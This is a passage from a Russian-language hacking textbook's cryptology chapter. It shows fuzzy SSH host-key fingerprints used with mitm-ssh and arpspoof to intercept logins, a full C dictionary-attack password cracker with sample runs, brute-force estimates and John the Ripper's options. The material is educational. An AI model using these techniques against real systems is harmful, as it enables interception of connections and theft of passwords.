461
Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 55.471931%
---[Current State]----------------------------------------------------------
Running: 0d 00h 02m 00s | Total: 15370k hashs | Speed: 128082 hashs/s
----------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 55.471931%
.:[ вывод сокращен ]:.
---[Current State]----------------------------------------------------------
Running: 1d 05h 06m 00s | Total: 13266446k hashs | Speed: 126637 hashs/s
----------------------------------------------------------------------------
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 70.158321%
----------------------------------------------------------------------------
Exiting and saving state file /var/tmp/ffp.state reader@hacking:
$
Процесс генерации нечетких отпечатков можно продолжать сколько угодно. Программа будет запоминать лучшие отпечатки и периодиче- ски отображать их. Все данные о состоянии хранятся в /var/tmp/ffp.
state, поэтому можно завершить программу нажатием Ctrl-C, а затем возобновить выполнение, введя ffp без аргументов.
После того как программа проработает некоторое время, пары ключей
SSH можно извлечь из файла состояния по ключу -e.
reader@hacking:
$ ffp -e -d /tmp
---[Restoring]--------------------------------------------------------------
Reading FFP State File: Done
Restoring environment: Done
Initializing Crunch Hash: Done
----------------------------------------------------------------------------
Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07] [08]
[09]
reader@hacking:
$ ls /tmp/ssh-rsa*
/tmp/ssh-rsa00 /tmp/ssh-rsa02.pub /tmp/ssh-rsa05 /tmp/ssh-rsa07.pub
/tmp/ssh-rsa00.pub /tmp/ssh-rsa03 /tmp/ssh-rsa05.pub /tmp/ssh-rsa08
/tmp/ssh-rsa01 /tmp/ssh-rsa03.pub /tmp/ssh-rsa06 /tmp/ssh-rsa08.pub
462
0x700 Криптология
/tmp/ssh-rsa01.pub /tmp/ssh-rsa04 /tmp/ssh-rsa06.pub /tmp/ssh-rsa09
/tmp/ssh-rsa02 /tmp/ssh-rsa04.pub /tmp/ssh-rsa07 /tmp/ssh-rsa09.pub reader@hacking: $
В этом примере сгенерировано десять пар открытых и секретных клю- чей. Можно получить отпечатки этих ключей и сравнить с оригиналь- ным отпечатком, как показывает следующий листинг:
reader@hacking: $ for i in $(ls -1 /tmp/ssh-rsa*.pub)
> do
> ssh-keygen -l -f $i
> done
1024 ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50 /tmp/ssh-rsa00.pub
1024 ba:06:7f:12:bd:8a:5b:5c:eb:dd:93:ec:ec:d3:89:a9 /tmp/ssh-rsa01.pub
1024 ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0 /tmp/ssh-rsa02.pub
1024 ba:06:49:d4:b9:d4:96:4b:93:e8:5d:00:bd:99:53:a0 /tmp/ssh-rsa03.pub
1024 ba:06:7c:d2:15:a2:d3:0d:bf:f0:d4:5d:c6:10:22:90 /tmp/ssh-rsa04.pub
1024 ba:06:3f:22:1b:44:7b:db:41:27:54:ac:4a:10:29:e0 /tmp/ssh-rsa05.pub
1024 ba:06:78:dc:be:a6:43:15:eb:3f:ac:92:e5:8e:c9:50 /tmp/ssh-rsa06.pub
1024 ba:06:7f:da:ae:61:58:aa:eb:55:d0:0c:f6:13:61:30 /tmp/ssh-rsa07.pub
1024 ba:06:7d:e8:94:ad:eb:95:d2:c5:1e:6d:19:53:59:a0 /tmp/ssh-rsa08.pub
1024 ba:06:74:a2:c2:8b:a4:92:e1:e1:75:f5:19:15:60:a0 /tmp/ssh-rsa09.pub reader@hacking: $ ssh-keygen -l -f ./loki.hostkey
1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72
reader@hacking: $
Из 10 сгенерированных пар можно на глаз выбрать ту, где сходство максимально. В данном случае выбираем ssh-rsa02.pub (выделена по- лужирным). Независимо от того, какую пару вы выберете, она навер- няка будет больше похожа на оригинальный отпечаток, чем сгенери- рованный случайным образом ключ.
Этот новый ключ можно использовать с mitm-ssh, чтобы сделать ата- ку еще более эффективной. Местонахождение ключа узла указывается в файле конфигурации, поэтому чтобы использовать новый ключ, про- сто добавим строку HostKey в /usr/local/etc/mitm-ssh_config, как показа- но ниже. Поскольку нужно убрать строку Protocol 1, добавленную ра- нее, просто перезапишем файл конфигурации.
reader@hacking: $ echo “HostKey /tmp/ssh-rsa02” > /usr/local/etc/mitm- ssh_config reader@hacking: $ mitm-ssh 192.168.42.72 -v -n -p 2222Using static route to
192.168.42.72:22
Disabling protocol version 1. Could not load host key
SSH MITM Server listening on 0.0.0.0 port 2222.
В другом окне терминала работает arpspoof, перенаправляя трафик в mitm-ssh, где используется новый ключ узла с нечетким отпечатком.
Ниже показано, что будет видеть клиент при соединении.
0x760 Взлом паролей 463Обычное соединениеiz@tetsuo: $ ssh jose@192.168.42.72
The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)?
Соединение при MitM-атакеiz@tetsuo: $ ssh jose@192.168.42.72
The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
RSA key fingerprint is ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0.
Are you sure you want to continue connecting (yes/no)?
Вы сразу определите разницу?
Отпечатки настолько похожи, что боль- шинство пользователей просто согласятся принять соединение.
0x760 Взлом паролейОбычно пароли не хранят в виде обычного текста. Файл, содержащий в открытом виде все пароли, был бы слишком заманчивой целью, по- этому здесь применяется однонаправленная хеш-функция. Самая из- вестная из этих функций основана на DES и называется crypt(), ниже приведена ее страница руководства.
ИМЯ
crypt — шифрование паролей и данных
СИНТАКСИС
#define _XOPEN_SOURCE
#include
char *crypt(const char *key, const char *salt);
ОПИСАНИЕ
crypt() применяется для шифрования паролей. Она основана на алгоритме
DES с изменениями, нацеленными (в частности) на противодействие аппаратным способам подбора ключей key — пароль, вводимый пользователем.
salt — два символа из набора [a–zA–Z0–9./].
Служит для модификации алгоритма одним из 4096 способов.
Эта однонаправленная хеш-функция принимает на входе открытый пароль и значение salt (привязка), а выводит значение хеша, которо- му предшествует введенное значение salt. Хеш-значение математиче- ски необратимо, то есть одного его недостаточно, чтобы определить ис- ходный пароль. Напишем простую программу, чтобы поэксперимен- тировать с этой функцией и лучше разобраться в ее работе.
4640x700 Криптология
crypt_test.c#define _XOPEN_SOURCE
#include
#include
int main(int argc, char *argv[]) {
if(argc < 2) {
printf(“Usage: %s
\n”, argv[0]);
exit(1);
}
printf(“password \”%s\” with salt \”%s\” “, argv[1], argv[2]);
printf(“hashes to ==> %s\n”, crypt(argv[1], argv[2]));
}
Для компиляции этой программы требуется библиотека crypt. Ниже показано, как ее подключить, и приведены результаты нескольких те- стовых прогонов программы.
reader@hacking:/booksrc $ gcc -o crypt_test crypt_test.c
/tmp/cccrSvYU.o: In function `main’:
crypt_test.c:(.text+0x73): undefined reference to `crypt’
collect2: ld returned 1 exit status reader@hacking:/booksrc $ gcc -o crypt_test crypt_test.c -l crypt reader@hacking:/booksrc $ ./crypt_test testing je password “testing” with salt “je” hashes to ==> jeLu9ckBgvgX.
reader@hacking:/booksrc $ ./crypt_test test je password “test” with salt “je” hashes to ==> jeHEAX1m66RV.
reader@hacking:/booksrc $ ./crypt_test test xy password “test” with salt “xy” hashes to ==> xyVSuHLjceD92
reader@hacking:/booksrc $
Обратите внимание: в последних двух прогонах шифровался один и тот же пароль, но с разными привязками. Значение salt предназна- чено для дополнительного «возмущения» алгоритма, благодаря чему при различных значениях salt получаются разные хеш-значения.
Хеш-значения (включая предшествующее salt) записываются в файл паролей в расчете, что если атакующий украдет файл паролей, значе- ния хешей ничего ему не дадут.
При необходимости аутентифицировать пользователя в файле паролей осуществляется поиск хеша. Пользователю предлагается ввести па- роль, из файла паролей извлекается значение salt, и введенные поль- зователем данные вместе со значением salt посылаются на вход той же хеш-функции. Если пользователь ввел правильный пароль, однона- правленная хеш-функция даст на выходе то же значение, которое за- писано в файле паролей. Благодаря этому происходит правильная ау- тентификация, и в то же время не надо хранить пароли в виде обычно- го текста.
0x760 Взлом паролей
4650x761 Атака по словарюОказывается, однако, что зашифрованные пароли в файле не столь уж бесполезны. Безусловно, невозможно математически получить из хеша исходное значение, но можно весьма быстро сгенерировать хеш- значение для каждого имеющегося в словаре слова, взяв значение salt для конкретного хеша, и сравнить с этим хешем полученные результа- ты.
Если совпадают хеш-значения, то соответствующее словарное сло- во и будет открытым паролем.
Простую программу для атаки по словарю можно слепить достаточ- но быстро. Она будет читать слова из файла, вычислять для них хеш с нужным значением salt и выводить слово, если хеш совпал. Следу- ющий код использует функции файловых потоков, включаемые че- рез
stdio.h. С этими функциями проще работать, потому что вся непри- глядность вызовов open() и дескрипторов файлов спрятана в структу- рах FILE. В этом коде аргумент функции fopen() сообщает ей, что нужно открыть файл для чтения. Функция возвращает NULL в случае неудачи или указатель на открытый файловый поток. Функция fgets() читает из потока строку – до заданной максимальной длины или конца стро- ки. В данном случае она считывает все строки файла со списком слов.
Эта функция также возвращает NULL в случае неудачи, что использует- ся для обнаружения конца файла.
crypt_crack.c#define _XOPEN_SOURCE
#include
#include
/* Вывести сообщение и завершить работу. */
void barf(char *message, char *extra) {
printf(message, extra);
exit(1);
}
/* Пример программы для атаки по словарю */
int main(int argc, char *argv[]) {
FILE *wordlist;
char *hash, word[30], salt[3];
if(argc < 2)
barf(“Usage: %s
\n”, argv[0]);
strncpy(salt, argv[2], 2); // Первые 2 байта хеша — это salt.
salt[2] = ‘\0’; // Завершить строку printf(“Salt value is \’%s\’\n”, salt);
if( (wordlist = fopen(argv[1], “r”)) == NULL) // Открыть список слов.
barf(“Fatal: couldn’t open the file \’%s\’.\n”, argv[1]);
466
0x700 Криптология while(fgets(word, 30, wordlist) != NULL) { // Читать каждое слово word[strlen(word)-1] = ‘\0’; // Удалить байт ‘\n’ в конце.
hash = crypt(word, salt); // Вычислить хеш.
printf(“trying word: %-30s ==> %15s\n”, word, hash);
if(strcmp(hash, argv[2]) == 0) { // Если хеш совпадает printf(“The hash \”%s\” is from the “, argv[2]);
printf(“plaintext password \”%s\”.\n”, word);
fclose(wordlist);
exit(0);
}
}
printf(“Couldn’t find the plaintext password in the supplied wordlist.\n”);
fclose(wordlist);
}
В приведенном ниже показано, как эта программа взламывает хеш па- роля jeHEAX1m66RV., используя слова из /usr/share/dict/words.
reader@hacking:/booksrc $ gcc -o crypt_crack crypt_crack.c -lcrypt reader@hacking:/booksrc $ ./crypt_crack /usr/share/dict/words jeHEAX1m66RV.
Salt value is ‘je’
trying word: ==> jesS3DmkteZYk trying word: A ==> jeV7uK/S.y/KU
trying word: A’s ==> jeEcn7sF7jwWU
trying word: AOL ==> jeSFGex8ANJDE
trying word: AOL’s ==> jesSDhacNYUbc trying word: Aachen ==> jeyQc3uB14q1E
trying word: Aachen’s ==> je7AQSxfhvsyM
trying word: Aaliyah ==> je/vAqRJyOZvU
.:[ вывод сокращен ]:.
trying word: terse ==> jelgEmNGLflJ2
trying word: tersely ==> jeYfo1aImUWqg trying word: terseness ==> jedH11z6kkEaA
trying word: terseness’s ==> jedH11z6kkEaA
trying word: terser ==> jeXptBe6psF3g trying word: tersest ==> jenhzylhDIqBA
trying word: tertiary ==> jex6uKY9AJDto trying word: test ==> jeHEAX1m66RV.
The hash “jeHEAX1m66RV.” is from the plaintext password “test”.
reader@hacking:/booksrc $
Изначальный пароль – слово test, которое есть в списке слов, поэто- му пароль будет взломан. Вот почему использовать в качестве паролей словарные слова или их производные не рекомендуется.
Недостаток такого метода атаки в том, что, если искомого пароля нет в списке словарных слов, пароль не будет найден. Например, если в ка- честве пароля использовать комбинацию h4R%, которой нет в словаре, атака окажется безуспешной:
0x760 Взлом паролей
467reader@hacking:/booksrc $ ./crypt_test h4R% je password “h4R%” with salt “je” hashes to ==> jeMqqfIfPNNTE
reader@hacking:/booksrc $ ./crypt_crack /usr/share/dict/words jeMqqfIfPNNTE
Salt value is ‘je’
trying word: ==> jesS3DmkteZYk trying word: A ==> jeV7uK/S.y/KU
trying word: A’s ==> jeEcn7sF7jwWU
trying word: AOL ==> jeSFGex8ANJDE
trying word: AOL’s ==> jesSDhacNYUbc trying word: Aachen ==> jeyQc3uB14q1E
trying word: Aachen’s ==> je7AQSxfhvsyM
trying word: Aaliyah ==> je/vAqRJyOZvU
.:[ вывод сокращен ]:.
trying word: zooms ==> je8A6DQ87wHHI
trying word: zoos ==> jePmCz9ZNPwKU
trying word: zucchini ==> jeqZ9LSWt.esI
trying word: zucchini’s ==> jeqZ9LSWt.esI
trying word: zucchinis ==> jeqZ9LSWt.esI
trying word: zwieback ==> jezzR3b5zwlys trying word: zwieback’s ==> jezzR3b5zwlys trying word: zygote ==> jei5HG7JrfLy6
trying word: zygote’s ==> jej86M9AG0yj2
trying word: zygotes ==> jeWHQebUlxTmo
Couldn’t find the plaintext password in the supplied wordlist.
Специализированные словарные файлы часто создаются на основе раз- ных языков, стандартных видоизменений слов (например преобразо- вания букв в цифры) или просто добавления чисел в конец каждого слова. Разумеется, более обширный словарь позволяет взломать боль- ше паролей, но и обрабатывается он дольше.
0x762 Атака путем полного перебораАтака по словарю, опробующая все возможные комбинации символов, представляет собой атаку
путем полного перебора, или
методом гру-бой силы (
exhaustive brute-force). Формально такая атака может взло- мать любой пароль, но результата, возможно, не дождутся и наши пра- праправнуки.
Поскольку пароль для crypt() может содержать любые из 95 символов, полный перебор 8-символьных паролей предполагает проверку 95 8
раз- личных паролей, или свыше семи квадриллионов. Это число столь ве- лико, потому что при увеличении длины пароля на один символ коли- чество возможных паролей растет экспоненциально.
Если предполо- жить, что в секунду будет опробоваться 10 000 паролей, их полный пе- ребор потребует 22 875 лет. Одним из решений проблемы может быть распределение задачи между многими машинами и процессорами, од- нако необходимо учитывать, что ускорение при этом будет носить ли-
4680x700 Криптология нейный характер. Если объединить тысячу машин, каждая из кото- рых будет осуществлять 10 000 проверок в секунду, то все равно про- цедура проверки займет больше 22 лет. Линейное ускорение, достигае- мое добавлением еще одной машины, ничтожно по сравнению с увели- чением количества ключей при увеличении длины пароля на единицу.
К счастью, для экспоненциального роста характерно и обратное: при уменьшении длины пароля количество возможных паролей убыва- ет экспоненциально. Это означает, что различных паролей из четырех символов всего 95 4
. Это пространство ключей содержит около 84 мил- лионов паролей и может быть опробовано (со скоростью 10 000 прове- рок в секунду) в течение двух с лишним часов. Это означает, что, хотя такого пароля, как
h4R%, нет ни в каком словаре, его можно взломать за приемлемое время.
Отсюда следует, что важно не только избегать в паролях словарных слов, но и устанавливать для них достаточную длину.
Поскольку слож- ность увеличивается экспоненциально, при удвоении длины пароля до восьми символов взлом его в разумных временных рамках становится невозможным.
Solar Designer разработал программу для взлома паролей под назва- нием John the Ripper (Джон-потрошитель), в которой применены как атака по словарю, так и полный перебор. Это, пожалуй, наиболее по- пулярная из программ такого рода, и найти ее можно на
http://www.openwall.com/john/. Она также есть на загрузочном диске.
1
reader@hacking:/booksrc $ john
John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer
Usage: john [OPTIONS] [PASSWORD-FILES]
-single “single crack” mode
-wordfile:FILE -stdin wordlist mode, read words from FILE or stdin
-rules enable rules for wordlist mode
-incremental[:MODE] incremental mode [using section MODE]
-external:MODE external mode or word filter
-stdout[:LENGTH] no cracking, just write words to stdout
-restore[:FILE] restore an interrupted session [from FILE]
-session:FILE set session file name to FILE
-status[:FILE] print status of a session [from FILE]
-makechars:FILE make a charset, FILE will be overwritten
-show show cracked passwords
-test perform a benchmark
-users:[-]LOGIN|UID[,..] load this (these) user(s) only
-groups:[-]GID[,..] load users of this (these) group(s) only
-shells:[-]SHELL[,..] load users with this (these) shell(s) only
-salts:[-]COUNT load salts with at least COUNT passwords only
1
См.
www.symbol.ru/library/hacking-2ed. –
Прим. ред.